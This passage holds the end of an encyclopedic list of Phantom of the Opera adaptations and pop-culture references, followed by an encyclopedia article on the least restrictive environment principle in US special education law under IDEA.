The Opera House Murders (2003) story by Yozaburo Kanari and art by Fumiya Sato. In "The Kindaichi Case Files" series. Published by TokyoPop.
Edgar Rice Burroughs' Tarzan #11 and #12 Le Monstre (1997) published by Dark Horse Comics - A Phantom of the Opera/Tarzan crossover.
Batman: Masque (1997) by Mike Grell with Andre Khromov. Published by DC Comics.
Le Fantôme de l'Opéra Volume 1 of the Joseph Rouletabille series. Story by André-Paul Duchateau and drawings by Bernard-C. Swysen. Published by Claude Lefrancq in 1989 and Soleil in 2001. This version Rouletabille is combined with Raoul.
Le Trésor du Fantôme de l'Opéra (The Treasure of the Phantom of the Opera) Volume 7 of the Joseph Rouletabille series. Story by André-Paul Duchateau and drawings by Bernard-C. Swysen. Published by Claude Lefrancq in 1996 and Soleil in 2001.
Le Fantôme de l'Opéra Volume 3 of the Une aventure de Rouletabille series. Story by Jean-Charles Gaudin and drawing by Christophe Picaud. This version Rouletabille took an interview on The elderly Persian on his memory on whole past.
Le Masque (1994) by Narumo Kakinochi. In two volumes, it is more inspired than based on the novel of Gaston Leroux.
Le Fantôme de l'Opéra (1989) by JET. Published by Asuka Comics DX - Japanese, mixes elements from Leroux, Andrew L. Webber, and Lon Chaney.
Le Fantome de l'Opera by Toshihiro Hirano. Two volumes.
Sherlock Holmes: Adventure of the Opera Ghost Two volumes. (1994) by Steven P. Jones, art by Aldin Baroza, and cover art by Guy Davis. In black&white. Published by Caliber Press.
Phantom of the Opera (1991) by Mitchell Perkins and Wanda Daughton (and Vickie Williams). Published by Innovation Publishing.
The Phantom is Monster in My Pocket #38. He is draughted by evil monster leader Warlock but sides with Vampire and the good monsters. He becomes less inclined to wear his mask as the series go on after being exposed to MTV.
The Phantom of the Opera (1988) published by Eternity Comics - Based on Gaston Leroux's novel.
The Phantom of the Opera: A Graphic Novel by Barry Leroux. Published by Bill Barry Enterprises.
The Phantom Stranger (1973) no. 23 published by DC Comics.
The Phantom of Notre Duck (1965) by Carl Barks.
”The Phantom of The Opera - The Graphic Novel” (2020) by Varga Tomi published by A Wave Blue World
"The Phantom of the Opera", a graphic novel (2019) by Rebecca Laff. A Webtoon adaptation of Leroux's original. Book one was released in print in 2023.
Non-fiction
Lessons From the Phantom of the Opera. (2009) by Vicki Hopkins. Study guide to understanding the symbolism, characters, and emotions.The Phantom Of The Opera: Film Companion (2005) by Andrew Lloyd Webber and Joel Schumacher.Shadowmen (2003) by Jean-Marc Lofficier. Published by Hollywood ComicsThe Underground of the Phantom of the Opera (2002) by Jerrold E. Hogle.The Phantom of the Opera. Essay about the Original Novel and musical by Sandra Andrés Belenguer (2000)The Phantom of the Opera (Hollywood Archives Series) (1999) by Philip J. Riley.Phantoms of the Opera: The Face Behind the Mask by John L. Flynn. First edition published 1993, second edition in 2006.The Complete Phantom of the Opera (1991) by George Perry.Abenteuer und Geheimnis: Untersuchungen zu Strukturen und Mythen des Populärromans bei Gaston Leroux (1988) by Hans T. Siepe. Published by P. Lang.Le Travail de l'"obscure clarté" dans Le Fantôme de l'Opéra de Gaston Leroux by Isabelle Husson-Casta.
Translations
1911 The Phantom of the Opera (1911 translation)|The Phantom of the Opera into English translated by Alexander Teixeira de Mattos.
1911 Тайна привидѣнія Большой Оперы (lit. The Mystery of the Ghost from Grand Opera) translated into Russian by S. Solovova.
1926 Operaens Hemmelighed translated into Norwegian/Danish by Anna Høyer.
1970 Fantóm Opery translated into Czech by J.V. Svoboda.
1988 Fantomen på Operan translated into Swedish by Ulla Hornborg. (Translated from the English translation by Alexander Teixeira de Mattos).
1989 פנטום האופרה' translated into Hebrew by Arie Chashavia.
1990 The Phantom of the Opera translated into English by Lowell Bair.
1996 The Essential Phantom of the Opera translated into English by Leonard Wolf.
2000 Fantomet i Operaen translated into Danish by Lea Brems.
2004 The Phantom of the Opera translated into English by Jean-Marc Lofficier and Randy Lofficier.
2004 Operos vaiduoklis translated into Lithuanian by Neringa Andrašiūnaitė
Japanese title translation.
Music
English heavy metal band Iron Maiden included a song titled "Phantom of the Opera", based on the novel, on their 1980 debut album. A live recording was included as the B-side to the 1985 "Run to the Hills" live single, the cover of which features the band's mascot Eddie as the Phantom.
Cover band Me First and the Gimme Gimmes recorded a punk rock version of the title track from Andrew Lloyd Webber's musical on their 1999 album Are a Drag.
Heavy metal band Iced Earth wrote a song titled "The Phantom Opera Ghost," released in 2001. The song is built around an abbreviated retelling of the story, with lead singer Matt Barlow playing the role of the Phantom, and Yunhui Percifield playing the role of Christine.
Gothic rock band Dreams of Sanity has recorded cover versions of the title track from Lloyd Webber's musical.
Phantasia is the orchestral interpretation created by Andrew and Julian Lloyd Webber. A cello assumes the role of the Phantom (Julian Lloyd Webber) while a violin assumes the role of Christine (Sarah Chang).
There is a techno version of the Phantom of the Opera theme song (Harajuku – Phantom Of The Opera, 1992).
A heavy metal song by the band Cristal y Acero from México covering the main theme of Webber's The Phantom of the Opera.
Banya covered Webber's "The Phantom Of The Opera" for the game Pump It Up.
Finnish Symphonic metal band Nightwish covered the title song for their fourth studio album Century Child.
Swiss gothic Metal band Lacrimosa has covered the title song of the musical.
In 2004, to tie in with the film adaptation of the musical, Junior Vasquez made remixes of the title song.
DCI corps Santa Clara Vanguard won 1st place with a show based on and using music from the musical in 1989, after finishing 2nd with a similar Phantom of the Opera show in 1988.
American singer David Cook sang "The Music of the Night" for his Top 6 (Andrew Lloyd Webber week) on American Idol (season 7).
Japanese singer Mika Nakashima sampled the musical's title song in her song IT'S TOO LATE.
Singer/Songwriter Bob Dylan mentions The Phantom in his song Desolation Row from the album Highway 61 Revisited. The Phantom is depicted in a scene having dinner with Casanova.
Japanese rock band D released a single titled "Yami Yori Kurai Doukoku no ACAPELLA to Bara Yori Akai Jounetsu no ARIA" with the title song depicting the Phantom's emotions for Christine.
Walter Murphy recorded an album entitled "The Phantom of the Opera" in 1978 that heavily featured Bach's Toccata and Fugue in D Minor, mixed into songs that all had something to do with the story of Erik and Christine
Metalcore band Chiodos laments as Erik in their song "Hey Zeus! The Dungeon".
A capella band Moosebutter used the melody of "The Music of the Night" to tell the story of the movie Psycho, in a song entitled "Psycho the Musical".
In 2022 Cpop group Wayv debuted their Phantom of the Opera inspred album titled "Phantom".
Games
Several different computer games have been released based on the Phantom of the Opera or that make some reference to it.
Phantom of the Opera (1990) - A pinball machine produced by Data East. It was included in The Pinball Arcade in October 2014.
Return of the Phantom (1993) - Microprose DOS graphic adventure game where you travel back and forth between 1881 and 1993 to solve the mystery of the Phantom.
Gloria van Guten's level in Psychonauts is set up like a theater, with the play being an exaggerated retelling of Gloria's life. The theater is menaced by a skull-masked figure known as the Phantom, who is sabotaging the production.
Mystery Legends: The Phantom of the Opera (2010) - Developed by Big Fish Games, the hidden object style game takes place about 20 years after the events of the book happen. The player plays as Christine's daughter, Evelina, who looks exactly like Christine when she last met the Phantom. The Phantom still lives in the opera house, which is now abandoned. He invites Evelina back under the impression that she is Christine to sing once more. Evelina looks around the opera house getting constant flashbacks to the events of the book.
Fate Grand Order (2015) - An online free-to-play mobile role-playing game based on the Fate/stay night visual novel game features Erik, referred to as The Phantom of the Opera or simply Phantom as an Assassin-class Servant able to be summoned by the player.
MazM: Phantom of the Opera (2021) - A visual novel game which adapts the original Phantom of the Opera story.
Other references
On CollegeHumor.com, Streeter occasionally plays the Phantom of the Office, portrayed as an annoying co-worker who makes numerous references to fire, his home in the catacombs, and various violent games (i.e. "Beat The Greek" which involves "putting an adolescent Greek girl in a sack and beating her to a pulp"). He also shows violent tendencies, suggesting hanging bat boys at baseball games, splitting Sarah down the middle, etc.
On an episode of Late Show with David Letterman, Will Ferrell sings "The Music of the Night", with mostly incorrect lyrics, after stating, "I don't have it totally down" and "I don't know the name of it."
A picture of the Lon Chaney Phantom is used at least once on Monty Python's Flying Circus.
The villainous "Phantom of Vaudeville" and his ventriloquist dummy, Elmo, as featured on The Ghost Busters may be a reference to the Phantom, as both are masked, and, as Kong notes, "the only way to send a Phantom back is to unmask him."
In the Academy 27 spin-off series of WARS Trading Card Game, the short story The Phantom acts as a homage to the property, with the plot revolving around a "Phantom" and includes characters finding the book itself.
In one episode of Kappa Mikey, the Phantom is parodied as "The Phantom of the Studio", using a mask because someone wrote "fart" on his forehead.
In the episode of The Suite Life of Zack & Cody entitled "Arwinstein", at London's Halloween party, one guest is dressed as the Phantom with the full mask. Also, when Arwinstein kidnaps Carey and brings her to Arwin's secret room, it is similar to the "Down Once More/Track Down This Murderer" scene from the musical. In another episode, "Cookin' with Romeo and Juliet", there is a man wearing the Phantom's half-mask in the ballroom scene.
A statue of Red Death can be seen a few times in the background by the door.
A bust of Lon Chaney as the Phantom can be seen twice near the stage.
In the first High School Musical, The Phantom of the Opera is mentioned in dialogue when Chad is trying to talk Troy out of the musical while the two are in the library.
There is an episode of The Snorks (called "Summer and Snork"), where Junior takes on a Phantom-like role to scare All-Star out of the lead part. Tooter takes over the role of a crossover between Sherlock Holmes and The Persian from the Gaston Leroux novel.
A production briefly appeared in an episode of Family Guy. Peter makes a reference to the Phantom in saying "this is even more boring then when I went to see The Phantom of the Opera", which then cuts to the stage, where the Phantom (voice provided also by Seth MacFarlane) sings a song similar to "Music of the night", then Peter (sitting in the audience) yells, "Show us the gross half of your face, that nose better be piggy!".
The Phantom is called "the gayest super villain ever" by Homer Simpson, particularly the Andrew Lloyd Webber version. Erik seems to be a recurring background character on The Simpsons. He has appeared in several episodes, the most noticeable of which include:
"Homer of Seville"
In one scene there is a poster for The Phantom of the Opera behind Homer. Also, Marge is worried about a disaster happening while Homer is performing, so Chief Wiggum informs her that they have pre-crashed the chandelier.
"Flaming Moe"
During Homer's haughty speech from the rafters when he reveals that the Flaming Moe's secret ingredient is cough syrup, notice the robe deftly draped over his face like the Phantom's mask (from Andrew Lloyd Webber's musical).
"Lisa's Wedding"
In an episode set in the future, Martin Prince has become the Phantom after a horrible science fair accident.
"Homer Simpson, This Is Your Wife"
The Phantom appears on Lenny's HiDef TV when Homer first turns it on.
"Treehouse of Horror XX"
Barney is shown on a boat emerging from the mist at Moe's bar. He is dressed up like the Phantom from Andrew Lloyd Webber's 1986 musical and sings about how Moe's beer is great.
The Phantom has also been featured in Married... with Children, multiple children's shows (an episode of Animaniacs is quite memorable, while a whole episode of the show Count Duckula was set in Paris and featured the Phantom throughout), and even soap operas like Passions.
An episode of The Mask: The Animated Series called "Broadway Malady" had The Mask as The Phantom of the Opera who tried to ruin the Mad Monkey Musical with a falling chandelier, but due to budget constraints, was reduced to using a small light fixture (the chandelier fall was seen at the end of the episode when the insane Broadway director creates a musical number with many Mask villains while in prison).
In one Tiny Toon Adventures episode, Buster Bunny is playing the organ and is wearing the Phantom of the Opera mask.
In an episode of CyberChase episode, the two-headed creature Sams is playing an organ, and when he stops a chandelier above Matt and Inez drops and stops right above them.
Wilson on Home Improvement dressed-up as the Phantom in a Halloween episode.
In the animated film Quest For Camelot, during the song If I Didn't Have You, two-headed dragon(s) Devon and Cornwall morph into the Phantom and Madame Butterfly.
In Lemony Snicket's A Series of Unfortunate Events, Count Olaf (Jim Carrey) has a newspaper with a picture of Lon Chaney as the Phantom on the front page.
The Phantom (from the Andrew Lloyd Webber adaptation) showed up in Backstreet Boys music video "Everybody".
Erik (from Leroux's original novel) shows up in Have You Got Any Castles? together with Frankenstein's monster, Mr. Hyde and Fu Manchu, on The Looney Tunes Golden Collection Volume. It was also featured on the cover of Video Watchdog.
In an episode of Sex and the City, Carrie sees her old flame Mr. Big at the Opera. After storming out she thinks to herself "I felt like I had just seen The Phantom of the Opera".
He appears in an episode of Jimmy Neutron that focuses on Jimmy unmasking a series of "Phantoms" who turn out to be his classmates before finally coming to the "real" Phantom.
In the SpongeBob SquarePants episode, "Something Smells", SpongeBob thinks he is ugly, and at one point he is seen in a long black cape playing a pipe organ.
In an episode of The Fresh Prince of Bel-Air, Carlton is in charge of the Peacock, but something goes wrong and a lot of strange figures arrive, one of them being the Broadway Phantom.
In Neopets, two collectible cards make references. "The Phantom", which is clearly meant to resemble the Phantom, and "Riyella" which features the description "The Phantom's true love".
The Phantom is included among the band in the Beetlejuice cartoon show at Universal Studios Theme Parks. He also is a featured character in The Sadie Chronicles.
In the children's series, Arthur, a 'clip' from the "Phantom of the Opera" appears when Arthur is watching television, avoiding practicing piano. He also appears in an episode about plagiarism when Francine has a dream about the consequences of copying.
An episode of Histeria! featured a "Dating Game"-type skit with composers instead of suitors, and one was Andrew Lloyd Webber (he was just identified as Andrew) wearing the Phantom's costume while standing in the boat from the title number in the middle of a Gothic, subterranean lake.
Slovenian metal band Coptic Rain covered/remixed the main theme song on their Discovery EP.
During Batman Returns, there is a scene at a costume party, and in the background we see a guest with a skull mask and a large, red hat standing on a staircase.
In season 1 of That Girl, an episode is entitled "Phantom of the Horse Opera"
The rapper Lil Wayne mentions Phantom of the Opera in his song Hustler Musik.
During a sketch called "New Off-Broadway Shows" on Conan O'Brien, they performed "Infomercial: The Musical", during which the Phantom appears with a juicer, while singing "I am the Phantom of the Juicer!"
The Doctor Who story The Caves of Androzani shares many similarities to Leroux's work, although the circumstances of Sharaz Jek's disfigurement owe more to the 1943 film version. The Talons of Weng-Chiang also shares many similarities, with the titular villain wearing a mask, using a theater as his underground base and pretending to be a ghost haunting the theater.
"The Phantom Opera Ghost" is a song done by Iced Earth on their Album "Horror Show"
In the pilot episode of Clerks: The Animated Series, the Phantom can be seen briefly in a sewer watching a signal go through a cable line.
Meatloaf's video for"I'd Do Anything for Love (but I Won't Do That)" is based on The Phantom of the Opera as well as Beauty and the Beast.
World Wrestling Entertainment (WWE) wrestler The Undertaker had to wear a Phantom of the Opera like mask after Mabel fractured Undertaker's orbital eye bone in 1995.
In Teenage Mutant Ninja Turtles III, Raphael references the Phantom nearly at the end of the climax when Walker appears with April O'Neil as hostage, saying "Hey look, it's the Phantom of the Opera."
In the Star Trek: Voyager episode, "The Void", the crew discovers a humanoid creature, whose healing process is helped along by an aria from the opera Rigoletto. The Doctor therefore names this creature Fantome, after the Phantom of the Opera, who he describes as "a tormented character who is soothed by music."
In the Teenage Mutant Ninja Turtles episode "Timing Is Everything", a poster can be seen for Alien of the Opera, an obvious parody of The Phantom.
The Phantom briefly appears in Waxwork. In one scene, the villainous tour guide Lincoln (played by David Warner) learns that there are at least several Phantom movies in existence. Lincoln says in disbelief, "They made a movie about the Phantom of the Opera?" Lincoln shoves a teenage visitor named Jonathon into the display and whispers under his breath, "They'll make a movie about anything nowadays." Seconds later, Jonathon appears in the display as the Phantom. In the climatic ending, the Phantom appears among the army of now-living wax figures.
In Gremlins 2: The New Batch, one of the Gremlins gets splashed with acid on his face. He immediately dons a mask and imitates the Phantom.
In the webcomic CONvicts, pages 78–85 deal with David, Andrew, and Alex going to the Masquerade to hunt down the Masquerade Ghost (dressed as Webber's Phantom) for a reward. Throughout the arc the Masquerade Ghost crashes a chandelier and takes down his opponents not by strangling them, but by kicking them in the groin.
In the Japanese horror film, Ring 0: Birthday, the main character, Sadako Yamamura, a character similar to the Phantom, wears a half mask in an amateur play called 'Mask'. Also, the leading actress, Aiko, is killed to make room for Sadako, as Carlotta was replaced by Christine. A lighting rig also crashes to the stage, like the chandelier.
The rose and mask logo appears in the "Irregarding Steve" episode of American Dad!, in which Steve and Roger run away to New York City. In another episode, Roger becomes the "Phantom of the Telethon".
In Meet the Robinsons, Doris the hat tries to cut the chandelier on top of Lewis's head.
In a very short-lived Saturday NBC series titled The Kids from C.A.P.E.R. (1976–1977), there is an episode titled "The Phantom of the Drive-in Movie." One of the team members, Bugs, describes the falling chandelier scene from the 1943 movie. As the others remind him that they are at a drive-in movie and thus should fear no such thing this time, a chandelier comes crashing down.
In an episode of MacGyver, MacGyver's mortal enemy, Murdoc, who was horribly disfigured due to a flamethrower accident in a previous episode, disguises himself with a prosthetic face and goes by the name Jacques Leroux (a reference to Gaston Leroux). He falls in love with MacGyver's friend, Penny Parker, eventually kidnapping her, and the episode climaxes in an underground lair filled with booby traps.
Are You Afraid of the Dark? had an episode similar to the plot of Phantom of the Opera about a monster who lived in a high school and kidnapped a talented female violinist. (2000)
Goosebumps: "The Phantom of the Auditorium" episode has a school put on a play called The Phantom. Unfortunately, someone is out to stop the show. (1995)
Flying Rhino Junior High features a character, Earl, who lives underneath the school and constantly wants people to call him 'The Phantom'.
Aqua Teen Hunger Force: In the episode Super Model, at the end Frylock comes without his goatee and is wearing firemen's clothes. Meatwad hands Frylock a Phantom mask and says to him that "the fire was so bad that it burnt your face".
In one episode of Wishbone titled Pantin' at the Opera, the beloved Jack Russell terrier plays the role of Raoul de Chagny.
An episode of Babar features a Phantom-esque character who lived in the cellars of a rundown movie house, and frightened people away so that he could be left alone. He (unnecessarily) wore a domino mask.
Rhydian Roberts sang a version of "The Phantom of the Opera" in the 4th series of The X Factor (October 27, 2007).
The Muppet Show had a Phantom that haunted the theater dubbed "The Phantom of the Muppet Theater".
Mega Man Star Force 2 has a character named Dark Phantom (Phantom Black in Japan).
In a season 2 episode of Night Gallery, Leslie Nielsen appears in one of his first comical roles as a "Phunny Phantom" in a short feature titled The Phantom of What Opera? In a season 4 episode of Supernatural, Sam Winchester (Jared Padalecki) is seen walking into a moviehouse called the Goethe Theater after hours. The feature film is The Phantom of the Opera. In the stereotypical Phantom fashion, a "mysterious" shadowy figure inside is at the organ playing Bach's "Toccata and Fugue". Believing this organist to be a murdering shape-shifter, Sam sneaks up behind him in a gender-bender parody of the unmasking scene in an attempt to tear off his ear. This turns out to be an embarrassing mistake for Sam.
On Chowders "Panini for President", Gorgonzola wears a black cape and Phantom's mask and a part from the Phantom of the Opera's Theme Song Beginning starts to play.
In Dean Koontz's book From the Corner of His Eye, a Phantom reference is made on page 559, 2nd paragraph.
In Season 9 of Night Court, in episodes 1 (173) and 2 (174), titled "A Guy Named Phantom (Part 1)" and "A Guy Named Phantom (Part 2)", Harry and Christine are both confused over their feelings for each other, but before they can work them out, the deranged Dan (referring to himself as "The Phantom," wearing a mask and cape, and living in hiding) kidnaps Christine at a courthouse costume party.
In the Degrassi film Degrassi Takes Manhattan, a Phantom of the Opera poster can be seen in the background in one of the first scenes in New York.
In Phineas and Ferb, in an episode called Rollercoaster the Musical: Part 1, Phineas sings, and a famous musicals montage comes in during the song. Phantom of the Opera is one of them.
In Grey's Anatomy, Season 5, Episode 9 (In the Midnight Hour), the unmasking scene from Lon Chaney's 1925 Phantom of the Opera is seen playing on a TV screen in the Seattle Grace waiting room.
In the Monster High series, there is a character named Operetta, who is the daughter of the Phantom.
Hotel Transylvania 2 features The Phantom of the Opera (voiced by Jon Lovitz) as the organ player for the hotel.
Nicki Minaj mentions the Phantom in her song Massive Attack (Feat. Sean Garret) rapping, "It's just me Mr. Miyagi and the phantom of the opera, goin blocka muthaf****, got that big rocketlauncher"
Two references to the Phantom of the Opera were made in Scooby-Doo franchise:
In the Season 1, Episode 3 episode of Scooby-Doo, Where Are You!, the episode's villain calls himself "The Phantom". Similar to the Gaston Leroux novel, he appears to have ghost-like properties through tricks and lives in a series of catacombs. While the main cast attempts to catch the Phantom with a Rube Goldberg Machine, there is also a chandelier that falls.
In Scooby-Doo! Stage Fright, the main villain of the movie is the Phantom of the Opera. In total, there are five “Phantom’s of the Opera” in the movie.
He appears as an Assassin-class Servant in the mobile RPG Fate/Grand Order, voiced by Ryōtarō Okiayu.
The Phantom of the Opera is referenced multiple times in It's Always Sunny in Philadelphia''.
Season 3, Episode 9- "Dee is Dating a Retarded Person"
After The Gang mock Charlie's "Nightman" song, Charlie retreats to his apartment, wears a black cape, places candles all around his room and composes his music on a keyboard in the dark. He is snapped out of this by Dennis.
Season 6, Episode 7- "Who Got Dee Pregnant?"
Charlie shows up to the Halloween Party dressed as The Phantom, though he admits he has no idea who The Phantom is and thought that the costume was a vampire.
Season 10, Episode 3- "Psycho Pete Returns"
Upon enlisting Cricket for help, Mac and Charlie see his face half covered by a cloak, resembling that of The Phantom. Charlie asks if he doing some sort of a "Phantom of the Opera thing" and Mac asks Cricket to take it off since he doesn't like it. Upon taking off the cloak, we learn half of Cricket's face was burnt when the gang locked him in their apartment and set it on fire.
In the mobile game Arknights, a high-rarity Operator with a tragic, theater-related backstory goes by the codename Phantom. He is accompanied by a black cat named Miss Christine.
References
Plays set in opera houses
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https://en.wikipedia.org/wiki/Least%20restrictive%20environment
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Least restrictive environment
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In the United States, the Individuals with Disabilities Education Act (IDEA) is a special education law that mandates regulation for students with disabilities to protect their rights as students and the rights of their parents. The IDEA requires that all students receive a Free and Appropriate Public Education (FAPE), and that these students should be educated in the least restrictive environment (LRE). To determine what an appropriate setting is for a student, an Individualized Education Plan (IEP) team will review the student's strengths, weaknesses, and needs, and consider the educational benefits from placement in any particular educational setting. By law the team is required to include the student's parent or guardian, a general education teacher, a special education teacher, a representative of the local education agency, someone to interpret evaluation results and, if appropriate, the student. It is the IEP team's responsibility to determine what environment is the LRE for any given student with disabilities, which varies between every student. The goal of an IEP is to create the LRE for that student to learn in. For some students, mainstream inclusion in a standard classroom may be an appropriate setting whereas other students may need to be in a special education classroom full time, but many students fall somewhere within this spectrum. Students may also require supplementary aids and services (such as an interpreter, resource room or itinerant teacher) to achieve educational goals while being placed in a classroom with students without disabilities, these resources are provided as needed. The LRE for a student is less of a physical location, and more of a concept to ensure that the student is receiving the services that they need to be successful.
If the nature or severity of their disability prevent the student from achieving these goals in a standard classroom, the student would be withdrawn from the standard classroom and be placed in an alternate environment that is more suitable for the student. Schools and public agencies are required to have a continuum of alternative placements for students with disabilities. These alternative placements include separate classes, specialized schools, and homeschooling. This is to ensure that schools are capable of meeting the needs of all students with disabilities. This continuum of placements is not always full inclusion or complete separate schooling, but can be a mix of both standard classes and alternative placements.
Four of the most common types of LRE are general education classroom with support, partial mainstream/inclusion classroom, special education classroom, specialized program outside of the school district. In a general education classroom with support the student is in a general education classroom all day, with added services like an aid, assistive technology, or accommodations/modifications to the curriculum. In a partial mainstream/inclusion classroom the student spends part of the day in the general classroom and part of the day in a special education classroom. In a special education classroom the student spends the day in a specialized classroom with students with similar needs. In a specialized program outside of school district the student could attend a private school, specialized program, or residential program.
Court rulings
Because the law does not clearly state to what degree the least restrictive environment is, courts have had to interpret the LRE principle. In a landmark case interpreting IDEA's predecessor statute (EHA), Daniel R.R. v. State Board of Education (1989), it was determined that students with disabilities have a right to be included in both academic and extracurricular programs of general education. But, the court stated, IDEA does not contemplate an all-or-nothing educational system in which students with disabilities attend either standard or special education. Rather, the act and its regulations require schools to offer a continuum of services. Thus, the school must take intermediate steps where appropriate, such as placing the student in standard education for some academic classes and in special education for others, mainstreaming the student for nonacademic classes only, or providing interaction with non-disabled students during lunch and recess. The appropriate mix will vary from student to student and, it may be hoped, from school year to school year as the student develops. If the school officials have provided the maximum appropriate exposure to non-disabled students, they have fulfilled their obligation under IDEA.
In Board of Education, Sacramento City Unified School District v. Rachel H., 14 F.3d 1398 (9th Cir. 1994), the court identified four factors that need to be taken into consideration when determining if the student's LRE is appropriate:
the educational benefits of integrated settings versus segregated settings
non-academic benefits (primarily social interaction with non-disabled peers)
the effect the student with a disability can have on the teacher and their peers
the cost of supplementary services that will be required for that student to stay in the integrated setting
In other words, the student should receive an appropriate version of the educational and social benefits which non-disabled students routinely receive in school. In broad theory, the court does not allow the education of the student's non-disabled peers to be negatively affected, although applying this test fairly to all the facts and circumstances of a specific situation may be very difficult. The final factor, cost of supplementary services, provides a safeguard for schools so that they do not exceed spending on one particular student.
Specific examples
IDEA protects students whose disabilities fall within 13 categories:
Autism
Deaf-blindness
Deafness
Emotional disturbance
Hearing impairments
Intellectual disabilities
Multiple disabilities
Orthopedic impairments
Other health impairments
Specific learning disabilities
Speech or language impairments
Traumatic brain injury
Visual impairments including blindness
Some of these labels are decided through a rigorous referral process through the school district and others are given based on diagnosis by a medical doctor, psychiatrist, or psychologist. Specific examples of applications of the LRE principle for are discussed below.
Autism
According to IDEA, an individual with autism is someone with "a developmental disability significantly affecting verbal and nonverbal communication and social interaction, generally evident before age three, that adversely affects a child's educational performance." IDEA states that an individual who fits these characteristics can receive special education services if a student is exhibiting signs of autism after their third birthday. Characteristics associated with autism spectrum disorder, or ASD, fall within three categories: social interaction, behavior, and communication. Common symptoms include unusual fixations, specific routines, disruptive behavior, unusual communication habits, and difficulty understanding social interactions.
In fall 2015, 39.7% of students ages 6–21 who had been diagnosed with autism spent 80% or more of their time in a general classroom. This is compared to 63.9% of students with a developmental delay or 47% with emotional disturbance.
Deaf-blindness
According to IDEA, deaf-blindness is defined as "concomitant [simultaneous] hearing and visual impairments, the combination of which causes such severe communication and other developmental and educational needs that they cannot be accommodated in special education programs solely for children with deafness or children with blindness."
Deafness
The least restrictive environment clause states that students should be able to be educated in an environment with "non-disabled peers". However, in the case of deaf students, there are many cases where a mainstream classroom may not be the most inclusive, or least restrictive, environment.
Some accommodations can be made to make a mainstream school more appropriate for a deaf student, such as interpreters, a deaf program within a mainstream school with deaf peers and language models present, or CART services. However, these are not always successful for every deaf student. Deaf residential and day schools provide certain benefits that the typical LRE would not hold, such as placing deaf students into classrooms with kids their own age and amount of hearing loss, and with staff that are certified to work the deaf, to facilitate social interaction. Deaf schools also may have specialized education equipment and extracurricular activities that are made communicably accessible to the deaf to help promote growth emotionally and cognitively.
Studies that have shown that the typical inclusion model for the deaf has some benefits. One study found that a classroom with both hearing and deaf and hard of hearing students actually helped improved signing development for the deaf. It also showed improvement in certain testing scores such as reading vocabulary/comprehension and solving math problems. Additionally, within the IDEA there is a subsection describing alternative appropriate school placements. Within this section special schools are included.
The NAD (National Association of the Deaf) believes that the least restrictive environment for the deaf is an environment that promotes a student's social, cognitive and emotional development with the least amount of communication and language barriers. The NAD supports placement of deaf and hard of hearing students in the standard education setting if the placement decision made was based on a thorough evaluation of the student and their needs. They believe that the placement and resources provided for the student should be based on communication and that the IEP team making the decision should be fully educated on the issues related to sign language and the needs of the deaf population.
Hearing impairments
According to IDEA, a hearing impairment is "an impairment in hearing, whether permanent or fluctuating, that adversely affects a child's educational performance but is not included under the definition of 'deafness'."
Intellectual disabilities
According to IDEA, an intellectual disability is defined as "significantly sub-average general intellectual functioning, existing concurrently [at the same time] with deficits in adaptive behavior and manifested during the developmental period, that adversely affects a child's educational performance."
Multiple disabilities
According to IDEA, multiple disabilities is defined as a "concomitant [simultaneous] impairments (such as intellectual disability-blindness, intellectual disability-orthopedic impairment, etc.), the combination of which causes such severe educational needs that they cannot be accommodated in a special education program solely for one of the impairments. The term does not include deaf-blindness."
Orthopedic impairments
According to IDEA, an orthopedic impairment is defined as "a severe orthopedic impairment that adversely affects a child's educational performance" this term includes "impairments caused by a congenital anomaly [birth defects], impairments caused by disease (e.g., poliomyelitis, bone tuberculosis), and impairments from other causes (e.g., cerebral palsy, amputations, and fractures or burns that cause contractures)."
Other health impairments
According to IDEA, other health impairments are defined as "having limited strength, vitality, or alertness, including a heightened alertness to environmental stimuli, that results in limited alertness with respect to the educational environment, that— (a) is due to chronic or acute health problems such as asthma, attention deficit disorder or attention deficit hyperactivity disorder, diabetes, epilepsy, a heart condition, hemophilia, lead poisoning, leukemia, nephritis [a kidney disorder], rheumatic fever, sickle cell anemia, and Tourette syndrome; and (b) adversely affects a child's educational performance."
Specific learning disabilities
According to IDEA, a specific learning disability (SLD) makes up the largest portion of students receiving services. The majority of students receiving services for specific learning disabilities are in mainstream classrooms.
Common learning disabilities include dyslexia, dyscalculia, dysgraphia, auditory and visual processing disorders, and nonverbal learning disabilities. Early intervention is valuable for all disability categories but given the high frequency of students with learning disabilities, it is even more valuable. 80% of students with a learning disability have trouble reading. Ninety percent of students will read normally if they receive help by the first grade. Seventy-five percent of students who receive help after the age of nine will have some difficulty throughout life.
Accommodations and modifications for students with learning disabilities vary based on the specific kind of learning disability and on the individual and unique needs of the student. Some examples of creating the least restrictive environment for students with learning disabilities include providing an audio recording of instructions or passages, providing text with a larger font, reducing the word count per line of text, and having a designated reader to give the written directions aloud to the student. More examples include allowing verbal responses, having a scribe, using voice recording for responses, etc. Some students may need extended periods for exams, separate testing locations, having the notes in advance, notes only on paper in black and white, etc. Each specific learning disability is different, and each student has unique needs.
Speech or language impairments
IDEA defines a speech or language impairment as "a communication disorder, such as stuttering, impaired articulation, language impairment, or a voice impairment, that adversely affects a student's educational performance". School speech-language pathologists (SLP) must work with school evaluation teams to identify students who meet certain criteria prior to beginning services.
School speech-language pathologists (SLP) must work with school evaluation teams to identify students who meet certain criteria prior to beginning services.The range and severity of students that meet such criteria has greatly expanded in recent years. In determining the least restrictive environment for a student with a speech or language impairment, it is important to consider the severity of their condition. While students with more severe impairments will benefit more from individualized services, IDEA regulates that students receiving speech-language services should be educated with their peers as much as possible. This often consists of the SLP working in the general classroom with the student and the help of the general education teacher. It needs to be ensured by the SLP that the student is simultaneously meeting individualized needs while in the general classroom. As mentioned previously, students with more severe impairments may still benefit more from individualized services outside of the general classroom. Small group meetings with an SLP outside of the general classroom can also be beneficial for those with similar impairments or needs. Regardless of the environment, a student's IEP must always be addressed while working toward progress in the general curriculum.
Traumatic brain injury
According to IDEA, traumatic brain injuries are defined as "an acquired injury to the brain caused by an external physical force, resulting in total or partial functional disability or psychosocial impairment, or both, that adversely affects a child's educational performance."
Visual impairments including blindness
According to IDEA, visual impairments including blindness are defined as "an impairment in vision that, even with correction, adversely affects a child's educational performance. The term includes both partial sight and blindness."
Least Restrictive Environment in Physical Education
